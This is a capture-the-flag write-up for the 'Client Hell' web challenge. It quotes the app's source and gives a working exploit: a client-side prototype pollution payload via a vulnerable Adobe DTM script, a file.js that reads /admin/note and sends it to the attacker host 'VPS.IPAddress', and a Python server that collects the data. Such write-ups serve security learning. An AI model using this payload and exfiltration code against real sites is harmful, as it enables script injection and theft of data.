Diefunction
Search…
⌃K

Client Hell

Cyber night 3 Client Hell challenge

Application Resources

Application source code

const express = require('express');
const cookieParser = require("cookie-parser");
const path = require('path')
const sessions = require('express-session');
const nunjucks = require('nunjucks');
const parser = require('url');
const { userTable, notesTable } = require('./database');
const { visit } = require('./bot');
const app = express();
app.use(express.urlencoded({ extended: true }));
const oneDay = 1000 * 60 * 60 * 24;
app.use(sessions({
secret: process.env.SECRET,
saveUninitialized: true,
sameSite: 'none',
cookie: { maxAge: oneDay },
resave: false
}));
app.use(cookieParser());
nunjucks.configure('views', {
autoescape: true,
express: app
});
app.set('views', './views');
app.use('/static', express.static(path.resolve('static')));
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader(
'Access-Control-Allow-Methods',
'OPTIONS, GET, POST, PUT, PATCH, DELETE'
);
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
next();
});
app.get('/', (req, res) => {
if(req.session.loggedIn){
const query = "SELECT notes from notes where username = ?";
const param = [req.session.username];
let result = [];
notesTable.all(query, param, (err, rows) => {
if(err) console.log(err);
for(let i = 0; i < rows.length; i++){
result.push(rows[i].notes);
}
return res.render('home.html', { username: req.session.username, notes: result });
});
}else{
return res.redirect('/login')
}
});
app.get('/login', (req, res) => {
return res.render('login.html');
});
app.get('/register', (req, res) => {
return res.render('register.html')
});
app.post('/register', (req, res) => {
const { username } = req.body;
const { password } = req.body;
let msg;
const query = "SELECT username from user where username = ?";
const param = [username];
userTable.all(query, param, (err, rows) => {
if(err) console.log(err);
if(rows.length != 0){
msg = "username already exists";
return res.render('register.html', { msg: msg });
}else{
msg = "User have been created";
const query2 = "INSERT INTO user(username, password) VALUES (?,?)";
const param = [username, password]
userTable.run(query2, param);
return res.render('register.html', { msg: msg });
}
});
});
app.post('/login', (req, res) => {
const { username } = req.body;
const { password } = req.body;
let msg = ""
const query = "SELECT username, password from user where username = ? and password = ?";
const param = [username, password];
if(username && password){
userTable.all(query, param, (err, rows) => {
if(err) return;
if(rows.length != 0){
req.session.loggedIn = true;
req.session.username = username;
return res.redirect('/');
}else{
msg = "username or password is incorrect";
return res.render('login.html', { msg: msg });
}
})
}
});
app.post("/note", (req, res) => {
if(req.session.loggedIn){
const { note } = req.body;
const query = "INSERT INTO notes(username, notes) VALUES (?,?)";
const param = [req.session.username, note];
notesTable.run(query, param, () => {
return res.redirect('/');
});
}else{
return res.redirect('/login');
}
})
app.get('/report', (req, res) => {
if(req.session.loggedIn){
return res.render('report.html');
}else{
if(req.ip.includes('127.0.0.1')){
return res.render('report.html');
}else{
return res.redirect('/login');
}
}
});
app.post('/admin/review', async (req, res) => {
const { url } = req.body;
regex = /https?:\/\/(www\.)?[[email protected]:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/
if(decodeURIComponent(url).match(regex)){
const parse_url = parser.parse(url);
if(parse_url.host.split(':')[0] == "127.0.0.1"){
await visit(url).then(res => {
console.log(url);
}).catch(e => {
console.log(e);
});
return res.json({msg: "We sent your report to the admin"});
}else{
return res.json({msg: "Invalid url"});
}
}else{
res.json({msg: "please submit a url"});
}
});
app.get('/admin/note', (req, res) => {
if(!req.ip.includes('127.0.0.1')) return res.redirect('/');
return res.json({flag: process.env.FLAG});
});
app.get('/logout', (req, res) => {
req.session.destroy();
res.redirect('/');
});
app.listen(1337, () => {
console.log("Listening on port 1337")
});

report.html content

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Home</title>
<link rel="stylesheet" href="/static/style.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="stylesheet" href="/static/index.css">
</head>
<body class="loggedin">
<script src="https://assets.adobedtm.com/launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js" async></script>
<script src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script src="https://raw.githack.com/alrusdi/jquery-plugin-query-object/9e5871fbb531c5e246aac2aaf056b237bc7cc0a6/jquery.query-object.js"></script>
<nav class="navtop">
<div>
<h1>Notes</h1>
<a href="/report"><i class=""></i>report</a>
<a href="/logout"><i class="fas fa-sign-out-alt"></i>Logout</a>
</div>
</nav>
<div class="content">
<h1><center>Report a URL to the admin</center></h1>
<form id="myForm" method="get" class="example" style="margin:auto;max-width:600px">
<input id="url" type="text" placeholder="Enter a url" name="url">
<button id="submit" type="submit">report</button>
<br>
<br>
<div id="msg" class="msg"></div>
</form>
<script>
const fetchData = async () => {
const url = document.getElementById('url').value;
await fetch("/admin/review", {
method: "POST",
mode: 'cors',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `url=${url}`
}).then(res => res.json()).then(res2 => {
document.getElementById('msg').innerHTML = res2.msg;
}).catch(() => {
document.getElementById('msg').innerHTML = "Something went wrong";
})
}
const form = document.getElementById( "myForm" );
form.addEventListener('submit', event => {
event.preventDefault();
fetchData();
});
</script>
</div>
</body>
</html>

Exploitation

Quick analysis

app.post('/admin/review', async (req, res) => {
const { url } = req.body;
regex = /https?:\/\/(www\.)?[[email protected]:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/
if(decodeURIComponent(url).match(regex)){
const parse_url = parser.parse(url);
if(parse_url.host.split(':')[0] == "127.0.0.1"){
await visit(url).then(res => {
console.log(url);
}).catch(e => {
console.log(e);
});
return res.json({msg: "We sent your report to the admin"});
}else{
return res.json({msg: "Invalid url"});
}
}else{
res.json({msg: "please submit a url"});
}
});
app.get('/admin/note', (req, res) => {
if(!req.ip.includes('127.0.0.1')) return res.redirect('/');
return res.json({flag: process.env.FLAG});
});
  • Route /admin/review requires a url in the POST request body. Line 2
  • Regex could be bypassed by encoding the special characters with URLEncode. Line 3 to Line 4
  • The provided URL host must be equal to 127.0.0.1 Line 6
  • The bot (chromium) accesses the URL. Line 7
  • The flag can be obtained via /admin/note route only if the client ipAddress is 127.0.0.1. Line 22 to 23
app.get('/report', (req, res) => {
if(req.session.loggedIn){
return res.render('report.html');
}else{
if(req.ip.includes('127.0.0.1')){
return res.render('report.html');
}else{
return res.redirect('/login');
}
}
});
the developer used a vulnerable Adobe Dynamic Tag Management that is included in report.html (Client Side Prototype Pollution). [1]
<script src="https://assets.adobedtm.com/launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js" async></script>

Exploit

I developed a custom payload for the client-side prototype pollution that bypasses most regex special characters without encoding.

Note you must change VPS.IPAddress to your VPS IPAddress.

Payload
http://127.0.0.1:1337/report?__proto__[src]=http://VPS.IPAddress/file.js
POST Request Payload
url=http://127.0.0.1:1337/report?__proto__%5bsrc%5d=http://VPS.IPAddress/file.js
  • encodes []only.
file.js Content
let get = async (url) => {
let data = await fetch(url, { mode: 'cors' })
.then( (response) => { return response.text() })
.then( data => {
return btoa(data);
})
.catch( (error) => { return btoa(error.toString()) });
return data;
};
let ipAddress = 'VPS.IPAddress';
let execute = () => {
get('http://127.0.0.1:1337/admin/note')
.then( (data) => {
get(`http://${ipAddress}/?response=${data}`);
});
};
execute();
server.py Content
#!/usr/bin/env python3
from http.server import HTTPServer, SimpleHTTPRequestHandler, test
from urllib.parse import urlparse, parse_qs
from base64 import b64decode
class CORSRequestHandler (SimpleHTTPRequestHandler):
def end_headers (self):
params = parse_qs(urlparse(self.path).query)
if 'response' in params:
data = b64decode(params['response'][0])
print(data)
self.send_header('Access-Control-Allow-Origin', '*')
SimpleHTTPRequestHandler.end_headers(self)
if __name__ == '__main__':
test(CORSRequestHandler, HTTPServer, port=80)
Result
[email protected]:/dev/shm# python3 server.py
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
"GET /file.js HTTP/1.1" 200 -
"GET /?response=eyJmbGFnIjoiZmxhZ3tZb3VfR290X0l0fSJ9 HTTP/1.1" 200 -
b'{"flag":"flag{You_Got_It}"}'

References